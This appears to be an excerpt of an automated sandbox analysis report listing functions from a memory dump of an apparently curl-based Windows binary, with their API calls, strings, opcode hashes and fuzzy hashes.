Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: c208c9cb98e1e96eb826b7e538988850a564a51085b1c9e3b46c568a145cdce2
Instruction ID: d14599eef93cdaff45575b1212d1982888c4c8b897b9218381aae1cc5ab2d21e
Opcode Fuzzy Hash: c208c9cb98e1e96eb826b7e538988850a564a51085b1c9e3b46c568a145cdce2
Instruction Fuzzy Hash: 271151B59093058FD710DF79F98854BBBE1FB88254F150839E484C6314EB36D9488B92

Function 00D3C4F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 193networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00D3C5C9

Part of subcall function 00D2B510: Sleep.KERNEL32(?), ref: 00D2B553

WSAGetLastError.WS2_32 ref: 00D3C70C

Strings

select/poll on SSL socket, errno: %d, xrefs: 00D3C713
schannel: timed out sending data (bytes sent: %zd), xrefs: 00D3C6FD, 00D3C729

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLastSleepmemcpy
String ID: schannel: timed out sending data (bytes sent: %zd)$select/poll on SSL socket, errno: %d
API String ID: 2868755610-3891197721
Opcode ID: 3369395973d66ee30952b1840ecf2eceaa24463c8b7a35a3393f12aec1bd93b9
Instruction ID: 80c9090434afce93f88e5ce9acf5870b5bc0422f3c86fab522b86d5399cb8eb4
Opcode Fuzzy Hash: 3369395973d66ee30952b1840ecf2eceaa24463c8b7a35a3393f12aec1bd93b9
Instruction Fuzzy Hash: 5B619FB12083009FD710DF18C885B2ABBE5FF84318F18556CF9999B3A1D775E914CB62

Function 00D21F50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D21F64
strtoul.MSVCRT ref: 00D22002

Strings

%, xrefs: 00D21FA8
, xrefs: 00D22027

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlenstrtoul
String ID: $%
API String ID: 4005410869-2111875603
Opcode ID: b7ff10da8901a7042de0bdbc09c9e75cbea9e1c616329e1a4abe638b11fec932
Instruction ID: d4026038f6766c7ceb2c837780b5885412befe087a23e8a5fc0db47ae6af7ad2
Opcode Fuzzy Hash: b7ff10da8901a7042de0bdbc09c9e75cbea9e1c616329e1a4abe638b11fec932
Instruction Fuzzy Hash: 55313CB69083506FE721CB24E90072BBBE59FA4348F0C442EF4D987352E635D904C772

Function 00D3DC10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D3DC87
time.MSVCRT(-00000004), ref: 00D3DCB7

Strings

%s:%d, xrefs: 00D3DC41

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlentime
String ID: %s:%d
API String ID: 3241370836-1029262843
Opcode ID: 0bfca17c605fd7da3b8918219788b020422aef774aad8b0de712bea007059658
Instruction ID: 1ce29aaabea31001b60f0fa32651c2e6b4704d1bf42d8b5204fde3663fddfe4b
Opcode Fuzzy Hash: 0bfca17c605fd7da3b8918219788b020422aef774aad8b0de712bea007059658
Instruction Fuzzy Hash: 0F2147B19002045FEB10AB24FC45F6676E9EB84348F0C0038FD49C6212F36ADD19CBB2

Function 00D197F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00D19883
fwrite.MSVCRT ref: 00D198D7
free.MSVCRT ref: 00D198E5

Strings

1.2.11, xrefs: 00D1986A

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: freefwritemalloc
String ID: 1.2.11
API String ID: 3327534052-4284987526
Opcode ID: 458e50b693ee4aa9e1f61c2adbf861330f3c7fe1fe07ed40d2e10668ba42337f
Instruction ID: 63d6cddce5677841848c966839998cbd240d38bd046ab13d6eeaa522f1b9ca52
Opcode Fuzzy Hash: 458e50b693ee4aa9e1f61c2adbf861330f3c7fe1fe07ed40d2e10668ba42337f
Instruction Fuzzy Hash: 142166F19043016BE710AF11ED6574BBAD8EB9179CF04491CF5985A282D7BAC548CBE3

Function 00D20530 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D2053C
malloc.MSVCRT ref: 00D2055C

Strings

\%03o, xrefs: 00D205EB

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: mallocstrlen
String ID: \%03o
API String ID: 770973918-2703259314
Opcode ID: 78a770e2a134079b1b3d949ae922e8da353084638e48da16a8a614cda08cf40f
Instruction ID: 56c8029dcf0ed615039f22245277ad78c85c9842c990217b3c4500a83ac8a78a
Opcode Fuzzy Hash: 78a770e2a134079b1b3d949ae922e8da353084638e48da16a8a614cda08cf40f
Instruction Fuzzy Hash: F0210A505043A8A7EB104F64BC5179B3E98AF6131CF68D365FC854A293F376C6488BB7

Function 00D1647F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00D16488
free.MSVCRT ref: 00D16A18
_strdup.MSVCRT(?), ref: 00D16A36

Strings

;auto, xrefs: 00D1647F

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: _strdupfreestrstr
String ID: ;auto
API String ID: 408984727-1462600812
Opcode ID: 0862e8e729fc55db06c4b88bffc2ce70a5fb3cad7fdded1481e1cd63ffce83b3
Instruction ID: 9d03b348596a5c4f7e955fe5280fd5230ac256ce2a20650c86a608886805d865
Opcode Fuzzy Hash: 0862e8e729fc55db06c4b88bffc2ce70a5fb3cad7fdded1481e1cd63ffce83b3
Instruction Fuzzy Hash: 0F113DB06042419FEB10CF28E8457DA77E1BF80348F284569E4959B291DF36DD92E7A2

Function 00D17745 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D1774F
fopen.MSVCRT ref: 00D17768
fclose.MSVCRT ref: 00D17783

Strings

Failed to open %s!, xrefs: 00D18C29

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fclosefopenstrcmp
String ID: Failed to open %s!
API String ID: 3326340520-3671342594
Opcode ID: 2885a63a98c467f3fb9f6c07ca69b077fa40c55cd89b9f28de1821c0d118fe56
Instruction ID: f48ce4377120fbee4b2f33f83bfdf108055666a758ef2a77968073b6396e5051
Opcode Fuzzy Hash: 2885a63a98c467f3fb9f6c07ca69b077fa40c55cd89b9f28de1821c0d118fe56
Instruction Fuzzy Hash: 33118FB1A04300AFDB10DE14FD41B9A73A1AB84315F280629F846972D1DB76E990E7B2

Function 00D250D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 00D2513A
setsockopt.WS2_32(?,0000FFFF,00001001,00004020,00000004), ref: 00D2515F

Part of subcall function 00D318C0: memset.MSVCRT ref: 00D31909
Part of subcall function 00D318C0: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 00D3193C
Part of subcall function 00D318C0: VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 00D31943
Part of subcall function 00D318C0: VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 00D3194D
Part of subcall function 00D318C0: VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00D31954
Part of subcall function 00D318C0: VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00D31960
Part of subcall function 00D318C0: VerifyVersionInfoA.KERNEL32(?,00000033,00000000), ref: 00D3196D

Strings

@, xrefs: 00D25144
@, xrefs: 00D250D4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersiongetsockoptmemsetsetsockopt
String ID: @$ @
API String ID: 1669800062-1089145642
Opcode ID: 1a9cadc181b52498d7d25c9767db07fee90bfe42884983883bfab556ef5a06b1
Instruction ID: e9a23941919070fb7306eacdeab5e0eaa677db4bd7a1bf076a3d13ac503a5400
Opcode Fuzzy Hash: 1a9cadc181b52498d7d25c9767db07fee90bfe42884983883bfab556ef5a06b1
Instruction Fuzzy Hash: 4C0144B0254712AAF7315A10FC4AF673799AF50B48F044418FB84DA1D8D3BA99548766

Function 00D25070 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00D2508E
WSAGetLastError.WS2_32(?,00000004), ref: 00D250A8

Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47002
Part of subcall function 00D46FB0: strlen.MSVCRT ref: 00D47039

Strings

Could not set TCP_NODELAY: %s, xrefs: 00D250B9
TCP_NODELAY set, xrefs: 00D25098

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$ErrorLastsetsockopt
String ID: Could not set TCP_NODELAY: %s$TCP_NODELAY set
API String ID: 1030407954-1562148346
Opcode ID: 521c7d02dd246b9e3008e5e530faf98d99aee5263f651db33d706525b2c73fb4
Instruction ID: 09ba958c43ff9d786a7fc3cafbd2ef29e7abb6eef46f60b90faba2a06f4bcd04
Opcode Fuzzy Hash: 521c7d02dd246b9e3008e5e530faf98d99aee5263f651db33d706525b2c73fb4
Instruction Fuzzy Hash: 0BF0A7F5A403107BD1106A21BC07F9F765CEF56B15F040018FE85A2285E3A7F91486F3

Function 00D19440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

puts.MSVCRT ref: 00D19446
printf.MSVCRT ref: 00D19471

Strings

%-19s %s, xrefs: 00D1946C
Usage: curl [options...] <url>, xrefs: 00D19441

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: printfputs
String ID: %-19s %s$Usage: curl [options...] <url>
API String ID: 3793801724-2287160993
Opcode ID: 74130f6b55f6373ff47be31c8764d5f6b7a95f51f75b17ef484fd4a389c39c1c
Instruction ID: afd5a5df904808b9d49905318ada651e3c3d073eeb252b0bc324136a25940f2a
Opcode Fuzzy Hash: 74130f6b55f6373ff47be31c8764d5f6b7a95f51f75b17ef484fd4a389c39c1c
Instruction Fuzzy Hash: 5BD0C9E3D46A11A69E2026607C02887BA555A5BB3071A4721E85D09291E592DAA8B2B3

Function 00D48FB0 Relevance: 6.4, APIs: 5, Instructions: 200stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00D48FD0
strchr.MSVCRT ref: 00D48FED
memcpy.MSVCRT(00000000,?,00000000), ref: 00D4912F
memcpy.MSVCRT(00000000,?,00000000), ref: 00D49167
memcpy.MSVCRT(00000000,00000001,00000000), ref: 00D4919C

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy$strchr
String ID:
API String ID: 921174694-0
Opcode ID: 0ce15b1bb60c7c6fbb1f496fe8a78251440e03325933a8473d1e05ff15f9737b
Instruction ID: 3efa6ca314d7da78ec2d1c3a31b95e7d1a69880986ec27cb59b50e40ceb0c64b
Opcode Fuzzy Hash: 0ce15b1bb60c7c6fbb1f496fe8a78251440e03325933a8473d1e05ff15f9737b
Instruction Fuzzy Hash: 3761A0716043059FE7209B6AD99871BF7D4AB88718F084839FD89C7251E7B9DC48CBA2

Function 00D2C140 Relevance: 6.3, APIs: 5, Instructions: 92stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00D2C18C
strchr.MSVCRT ref: 00D2C19B
strlen.MSVCRT ref: 00D2C1CF
strncpy.MSVCRT ref: 00D2C1F9
strlen.MSVCRT ref: 00D2C233

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strchrstrlen$strncpy
String ID:
API String ID: 257145408-0
Opcode ID: a7e91b1b1ab4f74569d31f1f143d397532c7887ce1a9c8faefab55a153bd3eb0
Instruction ID: 45165cfd755e77f3400522c06fe89937a286d4613ba6be0343b6bf9eb94026e8
Opcode Fuzzy Hash: a7e91b1b1ab4f74569d31f1f143d397532c7887ce1a9c8faefab55a153bd3eb0
Instruction Fuzzy Hash: 383143F19103149BFF149F65AC9972B3A98EF90348F084079EC098B256FB7AD91497F2

Function 00D45490 Relevance: 6.3, APIs: 5, Instructions: 84stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D4549D
strchr.MSVCRT ref: 00D454F0
strchr.MSVCRT ref: 00D45501
strlen.MSVCRT ref: 00D45510
strlen.MSVCRT ref: 00D4551F

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$strchr
String ID:
API String ID: 3013107155-0
Opcode ID: eceb11aa6beacdc0201a707b12503ed4d148ebc0fe81aaf961a593ff60bb587e
Instruction ID: cc69c5a2c06f462eb0334554c19de8d2a314c1b606befcab19d222886ff14df1
Opcode Fuzzy Hash: eceb11aa6beacdc0201a707b12503ed4d148ebc0fe81aaf961a593ff60bb587e
Instruction Fuzzy Hash: AB11A7D2B0471217FE2129753C82B7B369D8BA2389F180035FD46D724BF64ADD5552B2

Function 00D32BD0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 148stringCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,00FBECBC,?), ref: 00D32C49
strlen.MSVCRT ref: 00D32C77
memcpy.MSVCRT(?,00FBECC2,?), ref: 00D32D14

Strings

--, xrefs: 00D32CE4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy$strlen
String ID: --
API String ID: 2619041689-385018399
Opcode ID: 538bad9735d26de84c050d3ff1415b35bbf0369521fe73990fb69c53decfb400
Instruction ID: d4ae170a795d03c5af80ac5bc3d0623a55970b1f0734ff384a43d3e8395392d3
Opcode Fuzzy Hash: 538bad9735d26de84c050d3ff1415b35bbf0369521fe73990fb69c53decfb400
Instruction Fuzzy Hash: 86414BB1E083098BD314DE28E984A2BBBE4FB84754F18452DE4848B242E771DD85DBE1

Function 00D322F0 Relevance: 6.1, APIs: 4, Instructions: 140stringCOMMON

Download Yara Rule

APIs

_stati64.MSVCRT(00D15779,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D32377
_access.MSVCRT ref: 00D32387
strrchr.MSVCRT ref: 00D32427
strrchr.MSVCRT ref: 00D32438

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
